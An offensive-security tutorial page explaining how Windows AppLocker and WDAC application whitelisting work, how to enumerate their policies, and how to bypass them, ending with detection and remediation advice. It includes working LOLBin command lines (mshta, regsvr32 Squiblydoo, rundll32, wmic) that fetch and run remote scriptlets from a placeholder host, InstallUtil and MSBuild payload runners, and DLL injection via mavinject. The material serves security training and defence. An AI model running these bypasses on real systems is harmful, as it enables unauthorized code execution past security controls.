← back to theory
Evasion

AppLocker & WDAC Bypass

AppLocker is Windows' built-in application whitelisting — a policy that decides which executables, scripts, installers and libraries a user is allowed to run. On a well-run host it is a real obstacle: you have a foothold as a low-privileged user, your tooling will not launch, and PowerShell has quietly dropped into a restricted mode. Bypassing it is rarely about finding a "vulnerability"; it is about understanding exactly what the policy does and does not cover, then running your code through a path it was never written to stop. This page is the mechanism behind the AD map's "Bypass AppLocker" step.

It covers two layers. First AppLocker — how it is built, how to read the effective policy, and the standard bypasses (writable allowed paths, trusted LOLBins, unenforced collections, Constrained Language Mode). Then WDAC (Windows Defender Application Control, formerly Device Guard / Code Integrity) — the newer, kernel-enforced control that replaces AppLocker in serious environments, why it is a much harder target, and where it still gives. The two are often confused; knowing which one you are actually facing decides whether the easy tricks work at all.

How AppLocker actually works

AppLocker evaluates every launch against a set of rule collections, one per file kind:

  • Exe — .exe, .com
  • Script — .ps1, .bat, .cmd, .vbs, .js
  • Msi — .msi, .msp, .mst installers
  • Dll — .dll, .ocx
  • Appx — packaged (Store) apps

Each rule allows or denies by one of three criteria: publisher (the code-signing certificate — the strongest), path (a directory or file location — the weakest), or hash (exact file, breaks on any update). A collection also has an enforcement mode: Enforce, Audit only (logs but still runs — effectively off), or not configured (no restriction at all). Two facts flow straight from this design and drive almost every bypass:

The Dll and Script collections are frequently left not configured or in Audit only — enforcing Dll rules hurts performance and is off by default — and the default "allow everything in %WINDIR% and %PROGRAMFILES%" path rules trust whole directory trees that a standard user can sometimes write into.

Step 1 — Enumerate the policy

You cannot pick a bypass until you know which collections are enforced and how. Read the effective policy before anything else:

# the effective, merged policy as XML — read EnforcementMode on each collection
Get-AppLockerPolicy -Effective -Xml

# or pull it straight from the registry (local + domain GPO merge lands here)
Get-ChildItem "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2"
# subkeys: Exe  Dll  Script  Msi  Appx  — each holds the rules for that collection

# ask AppLocker directly whether a specific binary would be allowed for you
Get-AppLockerPolicy -Effective |
  Test-AppLockerPolicy -Path C:\Windows\System32\cmd.exe -User $env:USERNAME

# AppLocker only enforces while the Application Identity service runs — check it
Get-Service AppIDSvc
# and review what it actually blocked/allowed historically:
Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -MaxEvents 20

Read it like a defender would: which collections say Enforce? Are the rules publisher-based (hard) or path-based (soft)? Is Dll or Script merely AuditOnly or absent? Is AppIDSvc even running (it is manual-start on many builds, and rules do not apply until it is)? The gaps you find decide which of the techniques below you reach for. Note too that AppLocker is a user-mode control enforced per-process — it does not stop code that never spawns a new process, such as shellcode run inside an already-allowed process, which is why in-memory tradecraft sidesteps it entirely.

Bypass 1 — Writable paths inside allowed directories

The default rule set allows anything under C:\Windows and C:\Program Files to run. Those trees are meant to be admin-only, but several subdirectories are writable by a standard user — drop your binary there and it runs from an "allowed" path. Enumerate them rather than trusting a list:

# find user-writable directories under the allowed trees
accesschk.exe -accepteula -wus "Everyone" C:\Windows\ -q
# or with icacls, hunt for (M)odify / (W)rite / (F)ull for your groups
icacls C:\Windows\Tasks
Commonly writable, commonly allowed
C:\Windows\Temp
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\PRINTERS
C:\Windows\registration\CRMLog

The exact set varies by build and by how custom the policy is — that is why you enumerate with accesschk/icacls on the target rather than assuming. The fix a mature environment applies is to replace broad path rules with publisher rules, which closes this entire class.

Bypass 2 — Trusted LOLBins (the main event)

The most reliable bypass does not drop a new executable at all. Windows ships signed, Microsoft-published binaries whose job is to execute code supplied to them — .NET installers, script hosts, build tools. A publisher rule that allows "signed by Microsoft" (or the default rules that allow all of %WINDIR%) therefore allows these too, and your payload rides in as data they happily run. These are the classic LOLBAS AppLocker bypasses.

InstallUtil

A .NET Framework utility that installs/uninstalls assemblies by invoking their installer classes. Build an assembly whose [RunInstaller(true)] class puts your code in an Uninstall override, then have InstallUtil "uninstall" it — your code runs, and the launch is InstallUtil, not your binary:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
  /logfile= /LogToConsole=false /U C:\Windows\Temp\runme.exe

Mshta

The HTML Application host. It runs the VBScript/JScript embedded in an .hta file, or inline straight from the command line, or from a remote scriptlet — no local executable needed:

mshta.exe C:\Windows\Temp\payload.hta
mshta.exe vbscript:Close(Execute("GetObject(""script:https://host/x.sct"")"))
mshta.exe "javascript:a=GetObject('script:https://host/x.sct');close();"

MSBuild

The build engine ships with the .NET Framework and can run arbitrary C# from an inline task inside a project file. Feed it a crafted .xml/.csproj and MSBuild compiles and executes your code in-process — a full C# runner that is both signed and whitelisted, and which also sidesteps PowerShell's restricted mode:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Temp\payload.xml
# payload.xml holds a <... /> with an inline
# Microsoft.Build.Framework.ITask whose Execute() contains the C# to run

Regsvr32 (Squiblydoo)

Registers a COM scriptlet. With scrobj.dll it will fetch and execute a remote .sct over HTTP(S) without writing anything that AppLocker inspects, and without touching the registry (/n):

regsvr32 /s /n /u /i:https://host/payload.sct scrobj.dll

Rundll32

Executes a function exported by a DLL — and, because the Dll collection is so often unenforced, also runs JavaScript via the old mshtml path:

rundll32.exe C:\Windows\Temp\evil.dll,EntryPoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=GetObject("script:https://host/x.sct")

More of the same class

LOLBinHow it runs your code
cscript / wscriptRun .vbs/.js directly when the Script collection is not enforced
cmstp.exeExecutes commands from a crafted INF (Connection Manager profile)
msiexecInstalls a local or remote .msi if the Msi collection is weak
control.exe / .cplLoads a control-panel DLL (rides the unenforced Dll collection)
regasm / regsvcsTrigger .NET assembly methods during (un)registration — InstallUtil's siblings
wmic.exewmic ... /format:"https://host/evil.xsl" runs a remote XSL script
Microsoft.Workflow.Compiler.exeCompiles and runs arbitrary C#/XOML supplied as a workflow file
jsc.exeThe JScript.NET compiler — turn .js source into a signed-toolchain-built EXE/DLL on the host
ieexec.exe / presentationhost.exeRun a remote .NET/XBAP application hosted over HTTP
mavinject.exeInject a DLL into a running process (mavinject PID /INJECTRUNNING evil.dll)
odbcconf.exeodbcconf /a {REGSVR evil.dll} loads a DLL like regsvr32
pcalua.exe / forfiles.exeSigned launchers that spawn an arbitrary child process you name

The canonical, maintained catalogue of these is the LOLBAS project — filter it by the "AWL bypass" function to see every binary currently known to defeat an allow-list, and check which of them your target's policy forgot to deny.

Bypass 3 — The unenforced collections

If enumeration showed Dll or Script as not configured or AuditOnly, the bypass is almost free. An unenforced Dll collection means rundll32, regsvr32, control-panel applets, and side-loaded libraries all run unchecked — so convert your payload to a DLL. An unenforced Script collection means .ps1/ .vbs/.bat are fair game. Enforcing every collection with publisher rules is what removes these shortcuts, which is precisely why so few deployments do it.

Bypass 4 — Escaping Constrained Language Mode

When AppLocker (or WDAC) enforces script rules, PowerShell drops into Constrained Language Mode (CLM), which blocks Add-Type, .NET calls, COM, and most offensive one-liners — it is often the thing that actually stops you, not the Exe rule. The LOLBins above are also the CLM escape: MSBuild and InstallUtil run full C# outside PowerShell entirely, so you regain an unrestricted execution environment. Watch for a policy that enforces Exe/Script but leaves the door for a signed build tool wide open.

# CLM check — if this prints "ConstrainedLanguage" you are restricted
$ExecutionContext.SessionState.LanguageMode

WDAC — the harder target

Windows Defender Application Control (WDAC, formerly Device Guard / Configurable Code Integrity) is Microsoft's modern replacement for AppLocker. Where AppLocker is a user-mode service that vets each new process, WDAC is Code Integrity enforced in the kernel — it decides what code is allowed to load, in both user mode (UMCI) and optionally kernel mode (KMCI), before it ever runs. That single difference removes most of the easy wins above, so the first job on a modern host is to work out which control you are actually facing.

 AppLockerWDAC
Enforced byApplication Identity user-mode service (AppIDSvc)Kernel Code Integrity (ci.dll), optionally with HVCI
ScopePer user / groupPer device — applies to everyone, SYSTEM included
DLL controlSeparate collection, off by defaultPart of the core policy — libraries are checked too
Writable-path trickWorks (default %WINDIR% allows)Does not — allow-by-location is discouraged and rare
Tamper resistanceAdmin can stop the service / edit GPOSigned + UEFI-locked policy survives even a local admin
.NET in-memory loadAllowed (execute-assembly works)CLR honours the policy — unsigned/dynamic assemblies are blocked

The policy model

A WDAC policy is an XML document (usually generated from a Microsoft template, then compiled to a binary .cip) made of file rules that allow or deny code. Each rule is written at a rule level that trades precision for maintainability:

  • Hash — exact file; breaks on every update (most precise, least maintainable).
  • FilePath — by location; discouraged, and only safe for admin-only-writable paths.
  • Publisher / FilePublisher — by code-signing certificate (and optionally file name + min version); the maintainable, recommended level.
  • LeafCertificate / PcaCertificate / RootCertificate — trust a certificate higher up the chain, allowing everything it signed.
  • WHQL / WHQLPublisher — for Microsoft-certified drivers (kernel mode).

Policies come in two kinds: a base policy and optional supplemental policies that widen it. Since the multiple-policy format, several base policies can coexist and are intersected — a file must pass every active policy to run, so a second policy can only tighten, never loosen. A signed base policy deployed with a UEFI lock cannot be removed or edited even by a local administrator without the signing key, which is what makes a mature WDAC deployment genuinely hard to disable.

Enforcement, managed installer & the ISG

Like AppLocker, WDAC runs in Audit mode (logs what it would block — effectively off) or Enforced mode. Two trust mechanisms are built in and both are attack surface:

  • Managed Installer (MI). A deployment tool you trust — typically SCCM/MEMCM or Intune — is tagged as a managed installer via a companion AppLocker policy. Anything the MI writes is marked with an NTFS attribute and auto-allowed thereafter. If you can get code to run through, or masquerade as, the managed installer, your dropped files inherit that trust.
  • Intelligent Security Graph (ISG). WDAC can defer to Microsoft's cloud reputation and allow files it rates "known good". The abuse is to ride a file that already has good reputation, or to get your own to earn it — reputation is not a signature.

Enumerating WDAC on a host

# is WDAC on, and audit or enforced? (0 = off, 1 = audit, 2 = enforced)
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object -ExpandProperty CodeIntegrityPolicyEnforcementStatus

# list the active policies (Windows 11 22H2+), or read them from disk
CiTool.exe --list-policies
Get-ChildItem C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip

# what did Code Integrity block or audit? the log is the ground truth
Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" -MaxEvents 30
# 3076 = would-block (audit)   3077 = blocked (enforced)   3089 = signing details

Audit mode is the first thing to hope for: if enforcement is 1, nothing is actually blocked and you only need to avoid the noise in the log. Enforced (2) is the real fight.

Bypassing WDAC

There is no writable-path shortcut and no unenforced DLL collection, so a WDAC bypass almost always means finding code the policy already trusts and making it run yours. The recurring angles:

  • Allowed Microsoft-signed LOLBins. This is the crux. Most custom policies are built to "trust all Microsoft-signed code" for convenience — and that set includes signed binaries that execute arbitrary code: msbuild, mshta, wmic, Microsoft.Workflow.Compiler, cdb/windbg/kd, csi/rcsi/dnx, fsi.exe, and others. Microsoft publishes a Recommended Block Rules list precisely to deny them; a policy that trusts Microsoft but omits the block list is bypassable with the same LOLBins used against AppLocker.
  • DLL sideloading into an allowed app. If a signed, policy-allowed application loads a DLL from a directory you can write, drop a malicious DLL with the expected name — it loads under the host app's trust. (WDAC checks the DLL too, so this needs a path the policy still trusts, e.g. one allowed by publisher or a signed-but-vulnerable app.)
  • Abuse a trust anchor. Run code through the managed installer so your output is auto-tagged as trusted, or get a file blessed by the ISG. Both convert "untrusted" into "allowed" without a signature.
  • Audit mode / gaps. If the policy is in audit, or lacks a supplemental rule for a path that matters, or an admin can swap an unsigned policy file on disk, those are the straightforward routes.
  • What usually does not work: in-memory .NET loading. Under an enforced policy the CLR refuses to load unsigned or dynamically-generated assemblies, so execute-assembly-style tradecraft that sails past AppLocker frequently dies against WDAC — one of the clearest signals of which control you are up against.

The maintained reference for the signed binaries a policy must block is Microsoft's documentation and the LOLBAS AWL-bypass set; a WDAC policy's real strength is measured by how much of that it denies.

Detection & remediation

  • Prefer publisher rules over path rules, and remove the broad %WINDIR%/%PROGRAMFILES% default allows — that single change kills the writable-path class and most LOLBin abuse that relies on "allow all of Windows".
  • Enforce every collection, Dll and Script included — an unenforced collection is an open door, and AuditOnly is not enforcement.
  • Block or constrain the known runners you do not need — InstallUtil, MSBuild, Mshta, Regsvr32, cmstp, wmic — via deny rules and Microsoft's recommended block list. Pair AppLocker with WDAC for a far stronger, kernel-enforced policy.
  • Monitor the AppLocker logs — Microsoft-Windows-AppLocker/EXE and DLL (events 8003 audit / 8004 blocked) and the MSI/Script log — and alert on the LOLBins above executing with network-facing or scriptlet arguments.
  • Move to WDAC where you can, and treat Microsoft's Recommended Block Rules as mandatory — a policy that trusts Microsoft-signed code but omits the block list is bypassable on day one. Start in audit, drive the CodeIntegrity/Operational log to zero legitimate blocks, then enforce; sign the policy and lock it with UEFI so a local admin cannot strip it, and pair it with HVCI for kernel-mode protection.
  • Constrain the trust anchors: scope the managed installer tightly (only genuine deployment tools), think twice before enabling the ISG, and prefer publisher/FilePublisher rules over broad certificate or path rules so one trusted CA does not implicitly allow everything it ever signed.

Related reading